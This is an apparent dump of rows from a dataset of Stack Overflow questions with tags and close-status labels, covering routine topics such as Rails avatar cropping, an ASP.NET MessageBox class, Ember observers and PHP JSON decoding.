I have made the User model with several fields and information.
But now i am thinking of adding avatar support for the users. And i've been researching and found that my best option would be using [Paperclip][1]. But then i've encountered a little dilemma.
I want my users to be able to resie/crop their avatar image after they have chosen a image.
I have googled alot and since i am using jQuery i found that [imgAreaSelect][2] would be best in my opinion. And i think [MiniMagick][3] looks best.
So to my question. How can i best intergrate Paperclip and imgAreaSelect?
I am new to Ruby and Rails so i don't know how i can resize the image.
Do you folks know how to intergrate the to or maybe some other options that fits my needs best?
I also need to apologize for my bad/misspelled english since i am not english :)
Thanking you in advance.
Yours sincerely,
Micke.
[1]: http://github.com/thoughtbot/paperclip
[2]: http://odyniec.net/projects/imgareaselect/
[3]: http://rubyforge.org/projects/mini-magick/ | ruby-on-rails | ruby | image-processing | image-manipulation | null | null | open | User avatar cropping/resizing with paperclip and jquery in rails
===
Hello fellow stackoverflow users.
I am building my first Ruby on Rails app which is going to be my own little community.
I have made the User model with several fields and information.
But now i am thinking of adding avatar support for the users. And i've been researching and found that my best option would be using [Paperclip][1]. But then i've encountered a little dilemma.
I want my users to be able to resie/crop their avatar image after they have chosen a image.
I have googled alot and since i am using jQuery i found that [imgAreaSelect][2] would be best in my opinion. And i think [MiniMagick][3] looks best.
So to my question. How can i best intergrate Paperclip and imgAreaSelect?
I am new to Ruby and Rails so i don't know how i can resize the image.
Do you folks know how to intergrate the to or maybe some other options that fits my needs best?
I also need to apologize for my bad/misspelled english since i am not english :)
Thanking you in advance.
Yours sincerely,
Micke.
[1]: http://github.com/thoughtbot/paperclip
[2]: http://odyniec.net/projects/imgareaselect/
[3]: http://rubyforge.org/projects/mini-magick/ | 0 |
1,548,495 | 10/10/2009 17:09:56 | 7,734 | 09/15/2008 14:19:11 | 3,354 | 247 | Can a program figure out its Oracle resource usage? | My boss would like to find a way for a running executable to ask Oracle, the size of the resources that the program is used. The purpose behind this is so that we can add to the
user documentation/capacity planning documentation information on the size of the resources needed for each program.
My Google-Fu is weak today, and I really haven't been able to find anything in the docs or online that point toward an API that would help me accomplish this.
Does anyone have any experiences they can share? Or suggest leads for me to follow?
All on topic answers get +1, as a thank you.
Evil. | oracle | c++ | unix | null | null | null | open | Can a program figure out its Oracle resource usage?
===
My boss would like to find a way for a running executable to ask Oracle, the size of the resources that the program is used. The purpose behind this is so that we can add to the
user documentation/capacity planning documentation information on the size of the resources needed for each program.
My Google-Fu is weak today, and I really haven't been able to find anything in the docs or online that point toward an API that would help me accomplish this.
Does anyone have any experiences they can share? Or suggest leads for me to follow?
All on topic answers get +1, as a thank you.
Evil. | 0 |
11,646,759 | 07/25/2012 09:32:24 | 1,125,927 | 01/02/2012 08:44:32 | 231 | 27 | Strip part of HTML content in javascript variable | I have part of HTML page as:
<div class="myClass"></div>
Now I have some html code in a javascript variable as:
var alpha = "<div><p>Hello</p><img src='abc.jpg'/></div>"
I want only the <img> part i.e. <img src='abc.jpg'/> of the variable to be placed inside div of class 'myClass'. Is it possible? | javascript | jquery | null | null | null | 07/25/2012 15:49:56 | not a real question | Strip part of HTML content in javascript variable
===
I have part of HTML page as:
<div class="myClass"></div>
Now I have some html code in a javascript variable as:
var alpha = "<div><p>Hello</p><img src='abc.jpg'/></div>"
I want only the <img> part i.e. <img src='abc.jpg'/> of the variable to be placed inside div of class 'myClass'. Is it possible? | 1 |
3,144,932 | 06/29/2010 21:34:46 | 379,484 | 06/29/2010 21:34:46 | 1 | 0 | ASP.NET Jquery C# MessageBox.Show dialog uh...issue.. | I am maintaining an ASP.NET site, and I was attempting to get the dialogs looking better using jQuery. The web application has a C# class called MessageBox which allows messages to be shown to the client from the server side.... essentially in the C# on an aspx codebehind if some logic 'does not compute', you can just MessageBox.Show('your error message');
Since the MessageBox class appeared to just 'inject' javascript...the "alert(your message)" I tried changing the javascript to a jquery dialog call:
html: the standard jQuery example dialog... (cut off the tags on purpose...just to get the code example to show up... there is probably a real way to do this on here... but this is my first post...)
<pre>
div id="dialog" title="Example dialog">
p>Some text that you want to display to the user./p>
/div>
</pre>
jQuery:
I commented out the Alert, and substituted:
sb.Append("$('dialog').dialog('open');");
<pre>
while( iMsgCount-- > 0 )
{
sMsg = (string) queue.Dequeue();
sMsg = sMsg.Replace( "\n", "\\n" );
sMsg = sMsg.Replace( "\"", "'" );
//sb.Append( @"alert( """ + sMsg + @""" );" );
**** sb.Append("$('dialog').dialog('open');"); ****
}
</pre>
I was expecting this to open the dialog set up in html, however nothing shows.
I figured javascript is javascript... and that executing instead a jQuery call versus manual Alert wouldn't matter... however clearly there is a disconnect.
Any thoughts on how to solve this problem? Or any better implementations out there I am not aware of?
Thanks, for any and all help... I've include the full MessageBox class below.
Curt.
<pre>
public class MessageBox
{
private static Hashtable m_executingPages = new Hashtable();
private MessageBox(){}
public static void Show( string sMessage )
{
if( !m_executingPages.Contains( HttpContext.Current.Handler ) )
{
Page executingPage = HttpContext.Current.Handler as Page;
if( executingPage != null )
{
Queue messageQueue = new Queue();
messageQueue.Enqueue( sMessage );
m_executingPages.Add( HttpContext.Current.Handler, messageQueue );
executingPage.Unload += new EventHandler( ExecutingPage_Unload );
}
}
else
{
Queue queue = (Queue) m_executingPages[ HttpContext.Current.Handler ];
queue.Enqueue( sMessage );
}
}
private static void ExecutingPage_Unload(object sender, EventArgs e)
{
Queue queue = (Queue) m_executingPages[ HttpContext.Current.Handler ];
if( queue != null )
{
StringBuilder sb = new StringBuilder();
int iMsgCount = queue.Count;
sb.Append( "<script language='javascript'>" );
string sMsg;
while( iMsgCount-- > 0 )
{
sMsg = (string) queue.Dequeue();
sMsg = sMsg.Replace( "\n", "\\n" );
sMsg = sMsg.Replace( "\"", "'" );
sb.Append( @"alert( """ + sMsg + @""" );" );
}
sb.Append( @"</script>" );
m_executingPages.Remove( HttpContext.Current.Handler );
HttpContext.Current.Response.Write( sb.ToString() );
}
}
}
</pre> | c# | asp.net | jquery | dialog | messagebox | null | open | ASP.NET Jquery C# MessageBox.Show dialog uh...issue..
===
I am maintaining an ASP.NET site, and I was attempting to get the dialogs looking better using jQuery. The web application has a C# class called MessageBox which allows messages to be shown to the client from the server side.... essentially in the C# on an aspx codebehind if some logic 'does not compute', you can just MessageBox.Show('your error message');
Since the MessageBox class appeared to just 'inject' javascript...the "alert(your message)" I tried changing the javascript to a jquery dialog call:
html: the standard jQuery example dialog... (cut off the tags on purpose...just to get the code example to show up... there is probably a real way to do this on here... but this is my first post...)
<pre>
div id="dialog" title="Example dialog">
p>Some text that you want to display to the user./p>
/div>
</pre>
jQuery:
I commented out the Alert, and substituted:
sb.Append("$('dialog').dialog('open');");
<pre>
while( iMsgCount-- > 0 )
{
sMsg = (string) queue.Dequeue();
sMsg = sMsg.Replace( "\n", "\\n" );
sMsg = sMsg.Replace( "\"", "'" );
//sb.Append( @"alert( """ + sMsg + @""" );" );
**** sb.Append("$('dialog').dialog('open');"); ****
}
</pre>
I was expecting this to open the dialog set up in html, however nothing shows.
I figured javascript is javascript... and that executing instead a jQuery call versus manual Alert wouldn't matter... however clearly there is a disconnect.
Any thoughts on how to solve this problem? Or any better implementations out there I am not aware of?
Thanks, for any and all help... I've include the full MessageBox class below.
Curt.
<pre>
public class MessageBox
{
private static Hashtable m_executingPages = new Hashtable();
private MessageBox(){}
public static void Show( string sMessage )
{
if( !m_executingPages.Contains( HttpContext.Current.Handler ) )
{
Page executingPage = HttpContext.Current.Handler as Page;
if( executingPage != null )
{
Queue messageQueue = new Queue();
messageQueue.Enqueue( sMessage );
m_executingPages.Add( HttpContext.Current.Handler, messageQueue );
executingPage.Unload += new EventHandler( ExecutingPage_Unload );
}
}
else
{
Queue queue = (Queue) m_executingPages[ HttpContext.Current.Handler ];
queue.Enqueue( sMessage );
}
}
private static void ExecutingPage_Unload(object sender, EventArgs e)
{
Queue queue = (Queue) m_executingPages[ HttpContext.Current.Handler ];
if( queue != null )
{
StringBuilder sb = new StringBuilder();
int iMsgCount = queue.Count;
sb.Append( "<script language='javascript'>" );
string sMsg;
while( iMsgCount-- > 0 )
{
sMsg = (string) queue.Dequeue();
sMsg = sMsg.Replace( "\n", "\\n" );
sMsg = sMsg.Replace( "\"", "'" );
sb.Append( @"alert( """ + sMsg + @""" );" );
}
sb.Append( @"</script>" );
m_executingPages.Remove( HttpContext.Current.Handler );
HttpContext.Current.Response.Write( sb.ToString() );
}
}
}
</pre> | 0 |
9,986,779 | 04/03/2012 03:39:51 | 145,501 | 07/27/2009 03:59:55 | 73 | 3 | EmberJS: unable to observe @each.property.another_property | In my EmberJS application, there are use cases where I want to observe something like '@each.score.votes', to calculate total votes or to return a sorted list etc.
'@each.score' is another Ember Object.
However, any observer (or computed property) trying to observe '@each.property.another_property' doesn't fire at all. See this http://jsfiddle.net/jqTRu/2/
Click 'Change Votes' to change votes, but total_votes is not re-computed. However, upon adding a person, it does fire.
Is this a bug, or is there a more sensible way to achieve what I intend? Thanks. | javascript | emberjs | observers | null | null | null | open | EmberJS: unable to observe @each.property.another_property
===
In my EmberJS application, there are use cases where I want to observe something like '@each.score.votes', to calculate total votes or to return a sorted list etc.
'@each.score' is another Ember Object.
However, any observer (or computed property) trying to observe '@each.property.another_property' doesn't fire at all. See this http://jsfiddle.net/jqTRu/2/
Click 'Change Votes' to change votes, but total_votes is not re-computed. However, upon adding a person, it does fire.
Is this a bug, or is there a more sensible way to achieve what I intend? Thanks. | 0 |
4,206,011 | 11/17/2010 15:31:21 | 363,603 | 06/10/2010 15:18:52 | 70 | 3 | Standalone linux version of: FeaturesAndBundlesPublisher application? | I need to run the eclipse FeaturesAndBundlesPublisher application on a linux server. The clumsy way is to download eclipse and put it on the server but since I only need the FeaturesAndBundlesPublisher is there someway of getting that application as a standalone application? | eclipse | bundles | null | null | null | null | open | Standalone linux version of: FeaturesAndBundlesPublisher application?
===
I need to run the eclipse FeaturesAndBundlesPublisher application on a linux server. The clumsy way is to download eclipse and put it on the server but since I only need the FeaturesAndBundlesPublisher is there someway of getting that application as a standalone application? | 0 |
8,614,971 | 12/23/2011 10:32:22 | 1,113,164 | 12/23/2011 09:28:45 | 1 | 0 | Computing the area of a complex (self-intersecting) polygon | I'm making a program that selects an area within a canvas by clicking a sequence of points. The points clicked are linked by some lines this way: every new point is linked with the first and the last ones. I'm looking for an algorithm that computes the area of the resulting polygon.
Intersections are allowed, and here is the complexity, so the algorithm must manage this case by finding the polygon according to the ordered sequence of points clicked and calculating its area.
After many searches, the best I've found is this http://sigbjorn.vik.name/projects/Triangulation.pdf, but I would need something easier to implement in Processing.js. | polygon | complex | area | triangulation | processing.js | null | open | Computing the area of a complex (self-intersecting) polygon
===
I'm making a program that selects an area within a canvas by clicking a sequence of points. The points clicked are linked by some lines this way: every new point is linked with the first and the last ones. I'm looking for an algorithm that computes the area of the resulting polygon.
Intersections are allowed, and here is the complexity, so the algorithm must manage this case by finding the polygon according to the ordered sequence of points clicked and calculating its area.
After many searches, the best I've found is this http://sigbjorn.vik.name/projects/Triangulation.pdf, but I would need something easier to implement in Processing.js. | 0 |
7,087,832 | 08/17/2011 04:10:42 | 885,648 | 08/09/2011 09:39:51 | 24 | 0 | how to make a grid view using table view in ipad? | hello i want to make a grid view using a table view and display data from the array.
i m new for iPhone Application .
please send me the the answer how to make a grid view in iPhone and I pad ?
please suggest how to make it easy ? | iphone | ipad | gridview | tableview | null | 08/17/2011 07:08:23 | not a real question | how to make a grid view using table view in ipad?
===
hello i want to make a grid view using a table view and display data from the array.
i m new for iPhone Application .
please send me the the answer how to make a grid view in iPhone and I pad ?
please suggest how to make it easy ? | 1 |
8,677,023 | 12/30/2011 07:00:11 | 880,413 | 08/05/2011 10:59:15 | 407 | 1 | PHP json_decode + Print Array Values Fails | stdClass Object ( [free] => 100% δωρεάν [meetsingles] => Γνωρίστε Singles [searchprofiles] => Προφίλ Αναζήτηση )
I have a JSON array that after decoded 'json_decode' and printed to screen it looks like above - using UTF8 for Greek.
This is how I print it:
$siteLanguages = json_decode($result);
print_r($siteLanguages);
When I try to access one of the values the page displays only until the point of the print and then it stops loading - eg: like half a page will show - comment this out and the whole page shows - below is how I'm trying:
print $siteLanguages['searchprofiles'];
I can't see why I can't use the associate array like any other.
Is there a trick I'm missing here?
Should the decoded json array show 'stdClass Object' when printed?
thx
| php | json | null | null | null | null | open | PHP json_decode + Print Array Values Fails
===
stdClass Object ( [free] => 100% δωρεάν [meetsingles] => Γνωρίστε Singles [searchprofiles] => Προφίλ Αναζήτηση )
I have a JSON array that after decoded 'json_decode' and printed to screen it looks like above - using UTF8 for Greek.
This is how I print it:
$siteLanguages = json_decode($result);
print_r($siteLanguages);
When I try to access one of the values the page displays only until the point of the print and then it stops loading - eg: like half a page will show - comment this out and the whole page shows - below is how I'm trying:
print $siteLanguages['searchprofiles'];
I can't see why I can't use the associate array like any other.
Is there a trick I'm missing here?
Should the decoded json array show 'stdClass Object' when printed?
thx
| 0 |
4,946,028 | 02/09/2011 14:16:17 | 47,281 | 12/18/2008 03:16:49 | 2,777 | 83 | Good alternative to Windows batch scripts? | What are some good alternatives to Windows batch scripts? We have a number of them and they are very "clunky" to work with. As our group is familiar with Java is Groovy a good option?
A lot of our scripts are used to prep dev databases so they involve a lot of `cd mydir`, `hg fetch`, `sqlplus ... `, etc.. | scripting | groovy | batch-file | null | null | 05/31/2012 20:44:33 | not constructive | Good alternative to Windows batch scripts?
===
What are some good alternatives to Windows batch scripts? We have a number of them and they are very "clunky" to work with. As our group is familiar with Java is Groovy a good option?
A lot of our scripts are used to prep dev databases so they involve a lot of `cd mydir`, `hg fetch`, `sqlplus ... `, etc.. | 4 |
9,993,867 | 04/03/2012 13:03:45 | 1,067,223 | 11/26/2011 19:24:12 | 51 | 9 | Sending user current location to the company? | I want to implement in my application the option to send the current user location with all of his details such as: name, phone number & exact location.
I want all those details to send to the company i'm doing the application for.
Is it possible, for example, that the user will press a button & all those details will be send to the company, & the company could see the current user location on google maps immediately?
What is the best way to do that?
The application is for emergency purposes.
Thanks. | iphone | xcode | google-maps | location | coordinates | 04/05/2012 09:15:29 | not a real question | Sending user current location to the company?
===
I want to implement in my application the option to send the current user location with all of his details such as: name, phone number & exact location.
I want all those details to send to the company i'm doing the application for.
Is it possible, for example, that the user will press a button & all those details will be send to the company, & the company could see the current user location on google maps immediately?
What is the best way to do that?
The application is for emergency purposes.
Thanks. | 1 |
10,557,230 | 05/11/2012 19:07:36 | 628,770 | 02/22/2011 17:23:09 | 131 | 1 | jQuery - Dynamically Turn List Items into jQuery Toggles | I would like to automatically turn list items into jQuery toggles for elements in a page.
For example, here is some sample page code:
<div id="page">
<div id="menu">
<ul>
<li class="books">Books</li>
<li class="cars">Cars</li>
<li class="sausages">Sausages</li>
</ul>
</div>
<div id="elements">
<div class="books">This layer displays a range of books</div>
<div class="cars">This layer displays a range of cars</div>
<div class="sausages">This layer displays a range of sausages</div>
</div>
</div>
As you can see, each menu list item and each element DIV, share the same class name.
What I would like to accomplish, with jQuery, is turning each menu list item automatically into a toggle, which can then toggles its corrosponding DIV in the elements section.
So it basically needs to read the menu items, then see if that menu item has a corrosponding element layer, and if so, turn it into a toggle which can toggle the layer.
It needs to be dynamic, because menu items and element layers might be added and removed regularly and it could eventually incorporate dozens of layers.
If this is possible, please demonstrate with a jsFiddle.
Thanks! | jquery | if-statement | else | null | null | 05/22/2012 19:42:37 | not constructive | jQuery - Dynamically Turn List Items into jQuery Toggles
===
I would like to automatically turn list items into jQuery toggles for elements in a page.
For example, here is some sample page code:
<div id="page">
<div id="menu">
<ul>
<li class="books">Books</li>
<li class="cars">Cars</li>
<li class="sausages">Sausages</li>
</ul>
</div>
<div id="elements">
<div class="books">This layer displays a range of books</div>
<div class="cars">This layer displays a range of cars</div>
<div class="sausages">This layer displays a range of sausages</div>
</div>
</div>
As you can see, each menu list item and each element DIV, share the same class name.
What I would like to accomplish, with jQuery, is turning each menu list item automatically into a toggle, which can then toggles its corrosponding DIV in the elements section.
So it basically needs to read the menu items, then see if that menu item has a corrosponding element layer, and if so, turn it into a toggle which can toggle the layer.
It needs to be dynamic, because menu items and element layers might be added and removed regularly and it could eventually incorporate dozens of layers.
If this is possible, please demonstrate with a jsFiddle.
Thanks! | 4 |
9,169,690 | 02/07/2012 01:05:37 | 314,963 | 04/12/2010 22:02:28 | 305 | 9 | Testing various versions of iPhone Safari | I am developing a jquerymobile App, and things are looking good in IOS5 with the most up-to-date version of Safari, I really need to test some older versions of Safari and its Webkit to ensure things are looking good for most browser versions.
I realise I can fire up an old version of xcode with SDK4 , and test IOS4, but what I really need to test is the various versions of Safari, does anyone know how to do this? I'm assuming it is possible to upgrade Safari without upgrading your IOS. | iphone | jquery-mobile | safari | mobile-safari | null | null | open | Testing various versions of iPhone Safari
===
I am developing a jquerymobile App, and things are looking good in IOS5 with the most up-to-date version of Safari, I really need to test some older versions of Safari and its Webkit to ensure things are looking good for most browser versions.
I realise I can fire up an old version of xcode with SDK4 , and test IOS4, but what I really need to test is the various versions of Safari, does anyone know how to do this? I'm assuming it is possible to upgrade Safari without upgrading your IOS. | 0 |
10,775,836 | 05/27/2012 17:18:33 | 288,206 | 03/07/2010 13:09:51 | 396 | 21 | How to create tags for a text automatically with PHP? | I want to create tags for my content automatically. There would be a constant tag list and the bot should create tags regarding to it. How can I do that? Do you know a class for that? Any suggestions would be appreciated!
Thank you! | php | bots | null | null | null | 05/28/2012 08:07:13 | not a real question | How to create tags for a text automatically with PHP?
===
I want to create tags for my content automatically. There would be a constant tag list and the bot should create tags regarding to it. How can I do that? Do you know a class for that? Any suggestions would be appreciated!
Thank you! | 1 |
5,389,405 | 03/22/2011 09:53:27 | 660,118 | 03/15/2011 07:14:54 | 8 | 0 | xml Attributes and its corresponding related method. | I am new to Android Development and currently enjoying it a lot.
I have been building UI by using the xml file and found it quite easy to build static UI.
Now, I need to build a UI where one of the TextView position changes during the runtime.
Can this be done using xml only??
<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_height="wrap_content"
android:text="0%"
android:layout_width="wrap_content"
android:id="@+id/percent"
android:textSize="15sp"
android:layout_x="41dip"
android:layout_y="295dip">
</TextView>
</AbsoluteLayout>
Now I can position the TextView anywhere by changing the value in layout_x and layout_y. But how to do this in run time??
I have tried this.
TextView text;
text=(TextView)findViewById(R.id.percent);
`text.setText("This can be done");`// this would easily change the text during run time
// but how to change the postion from code??
Please can anyone help me.
Thanks
| android | null | null | null | null | null | open | xml Attributes and its corresponding related method.
===
I am new to Android Development and currently enjoying it a lot.
I have been building UI by using the xml file and found it quite easy to build static UI.
Now, I need to build a UI where one of the TextView position changes during the runtime.
Can this be done using xml only??
<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_height="wrap_content"
android:text="0%"
android:layout_width="wrap_content"
android:id="@+id/percent"
android:textSize="15sp"
android:layout_x="41dip"
android:layout_y="295dip">
</TextView>
</AbsoluteLayout>
Now I can position the TextView anywhere by changing the value in layout_x and layout_y. But how to do this in run time??
I have tried this.
TextView text;
text=(TextView)findViewById(R.id.percent);
`text.setText("This can be done");`// this would easily change the text during run time
// but how to change the postion from code??
Please can anyone help me.
Thanks
| 0 |
10,109,417 | 04/11/2012 15:47:17 | 1,312,923 | 04/04/2012 13:08:23 | 15 | 0 | I am having to improve my ASP.NET, should I just jump to MVC rather than Webforms? | I know many have asked the MVC vs Webforms question many times. My question is slightly different in that I am currently updating my skills from ASP.NET2/VB.NET to ASP.NET4/C#. I am seriously thinking that I should perhaps not waste time in upgrading my Webforms skills which are Okish, but instead put the effort into starting again with MVC. I keep looking at all the properties of ASP.NET server controls and sigh !!! I do see the benefit in just focussing on web technologies such as JS, CSS and now JQuery and CSS3.
I would be interested in your thoughts?
Many thanks in advance. | asp.net | asp.net-mvc | mvc | webforms | null | 04/11/2012 15:54:56 | not constructive | I am having to improve my ASP.NET, should I just jump to MVC rather than Webforms?
===
I know many have asked the MVC vs Webforms question many times. My question is slightly different in that I am currently updating my skills from ASP.NET2/VB.NET to ASP.NET4/C#. I am seriously thinking that I should perhaps not waste time in upgrading my Webforms skills which are Okish, but instead put the effort into starting again with MVC. I keep looking at all the properties of ASP.NET server controls and sigh !!! I do see the benefit in just focussing on web technologies such as JS, CSS and now JQuery and CSS3.
I would be interested in your thoughts?
Many thanks in advance. | 4 |
9,903,073 | 03/28/2012 07:37:54 | 95,735 | 04/24/2009 20:59:35 | 4,837 | 157 | Is there API which informs about voice connection beeing established? | I noticed call recording apps (I tried [Auto Call Recorder][1] and [Call Recorder LITE][2]) start recording as soon as the number is dialed. I would prefer to have them start recording only after connection has been established. I suspect this shortcoming could be due to the lack of needed API thus my question.
Does Android have API which informs about the moment voice connection has been established (the other side picked up the phone)? If the answer is no then I'd like to know if this information is provided by GSM hardware/drivers at all?
[1]: https://play.google.com/store/apps/details?id=com.appstar.callrecorder
[2]: https://play.google.com/store/apps/details?id=br.com.gravador.callrecorder.lite.activity | android | null | null | null | null | null | open | Is there API which informs about voice connection beeing established?
===
I noticed call recording apps (I tried [Auto Call Recorder][1] and [Call Recorder LITE][2]) start recording as soon as the number is dialed. I would prefer to have them start recording only after connection has been established. I suspect this shortcoming could be due to the lack of needed API thus my question.
Does Android have API which informs about the moment voice connection has been established (the other side picked up the phone)? If the answer is no then I'd like to know if this information is provided by GSM hardware/drivers at all?
[1]: https://play.google.com/store/apps/details?id=com.appstar.callrecorder
[2]: https://play.google.com/store/apps/details?id=br.com.gravador.callrecorder.lite.activity | 0 |
11,606,590 | 07/23/2012 04:42:07 | 1,544,847 | 07/23/2012 03:17:21 | 1 | 0 | Java Coding help required. | I need to modify the below code so it creates one Compact Disc Object.(I need to add the following data in the code- I am confused with the if else statements and where exactly to place this information in this code below. It would be awesome if you could just copy and pate the code in the below code and explain me why so-i would totally appreciate you) For example, this object should contain this following information:
Code: sgtp
Description: Sgt. Pepper's Lonely HeartsClub Band
Price: $15.00
Artist: The Beatles
____________________________
Here is the current code:
public class ProductDB
{
public static Product getProduct(String productCode)
{
// In a more realistic application, this code would
// get the data for the product from a file or database
// For now, this code just uses if/else statements
// to return the correct product data
Product p = null;
if (productCode.equalsIgnoreCase("java") ||
productCode.equalsIgnoreCase("jsps") ||
productCode.equalsIgnoreCase("mcb2"))
{
Book b = new Book();
if (productCode.equalsIgnoreCase("java"))
{
b.setCode(productCode);
b.setDescription("Murach's Beginning Java");
b.setPrice(49.50);
b.setAuthor("Andrea Steelman");
}
else if (productCode.equalsIgnoreCase("jsps"))
{
b.setCode(productCode);
b.setDescription("Murach's Java Servlets and JSP");
b.setPrice(49.50);
b.setAuthor("Andrea Steelman");
}
else if (productCode.equalsIgnoreCase("mcb2"))
{
b.setCode(productCode);
b.setDescription("Murach's Mainframe COBOL");
b.setPrice(59.50);
b.setAuthor("Mike Murach");
}
p = b; // set Product object equal to the Book object
}
else if (productCode.equalsIgnoreCase("txtp"))
{
Software s = new Software();
s.setCode("txtp");
s.setDescription("TextPad");
s.setPrice(27.00);
s.setVersion("4.7.3");
p = s; // set Product object equal to the Software object
}
return p;
}
} | java | java-7 | null | null | null | 07/23/2012 04:52:20 | not a real question | Java Coding help required.
===
I need to modify the below code so it creates one Compact Disc Object.(I need to add the following data in the code- I am confused with the if else statements and where exactly to place this information in this code below. It would be awesome if you could just copy and pate the code in the below code and explain me why so-i would totally appreciate you) For example, this object should contain this following information:
Code: sgtp
Description: Sgt. Pepper's Lonely HeartsClub Band
Price: $15.00
Artist: The Beatles
____________________________
Here is the current code:
public class ProductDB
{
public static Product getProduct(String productCode)
{
// In a more realistic application, this code would
// get the data for the product from a file or database
// For now, this code just uses if/else statements
// to return the correct product data
Product p = null;
if (productCode.equalsIgnoreCase("java") ||
productCode.equalsIgnoreCase("jsps") ||
productCode.equalsIgnoreCase("mcb2"))
{
Book b = new Book();
if (productCode.equalsIgnoreCase("java"))
{
b.setCode(productCode);
b.setDescription("Murach's Beginning Java");
b.setPrice(49.50);
b.setAuthor("Andrea Steelman");
}
else if (productCode.equalsIgnoreCase("jsps"))
{
b.setCode(productCode);
b.setDescription("Murach's Java Servlets and JSP");
b.setPrice(49.50);
b.setAuthor("Andrea Steelman");
}
else if (productCode.equalsIgnoreCase("mcb2"))
{
b.setCode(productCode);
b.setDescription("Murach's Mainframe COBOL");
b.setPrice(59.50);
b.setAuthor("Mike Murach");
}
p = b; // set Product object equal to the Book object
}
else if (productCode.equalsIgnoreCase("txtp"))
{
Software s = new Software();
s.setCode("txtp");
s.setDescription("TextPad");
s.setPrice(27.00);
s.setVersion("4.7.3");
p = s; // set Product object equal to the Software object
}
return p;
}
} | 1 |
5,098,940 | 02/24/2011 00:09:23 | 628,199 | 02/22/2011 11:24:53 | 1 | 0 | Grails: JAVA_HOME is not defined correctly | I have tried to install Grails framework and command "grails" in terminal everytime crashes. Iam using Debian Squeeze and I set in /etc/profile
and ~/.profile this:
export JAVA_HOME=/usr/lib/jvm/java-6-sun-1.6.0.22
export GRAILS_HOME="/home/snitch/grails"
export PATH=${PATH}:${GRAILS_HOME}/bin
What is wrong? Iam really going to get mad.. | java | grails | groovy | home | null | 05/14/2012 13:11:32 | too localized | Grails: JAVA_HOME is not defined correctly
===
I have tried to install Grails framework and command "grails" in terminal everytime crashes. Iam using Debian Squeeze and I set in /etc/profile
and ~/.profile this:
export JAVA_HOME=/usr/lib/jvm/java-6-sun-1.6.0.22
export GRAILS_HOME="/home/snitch/grails"
export PATH=${PATH}:${GRAILS_HOME}/bin
What is wrong? Iam really going to get mad.. | 3 |
2,495,169 | 03/22/2010 19:42:11 | 156,458 | 08/14/2009 12:31:05 | 1,144 | 3 | Special names in Latex | In my english thesis latex file, how to mention the following non English words: François, École Fédérale?
Thanks and regards! | latex | null | null | null | null | null | open | Special names in Latex
===
In my english thesis latex file, how to mention the following non English words: François, École Fédérale?
Thanks and regards! | 0 |
8,236,219 | 11/23/2011 01:22:20 | 1,056,954 | 11/21/2011 00:10:21 | 1 | 0 | Islamic free web templates? | Hey I really looked for it but I just wasn't able to find :/
I need to build site for some islamic community but having problem with visual design..
HTML/CSS
btw.(doing this job free) | html | css | templates | null | null | 11/23/2011 01:30:13 | off topic | Islamic free web templates?
===
Hey I really looked for it but I just wasn't able to find :/
I need to build site for some islamic community but having problem with visual design..
HTML/CSS
btw.(doing this job free) | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.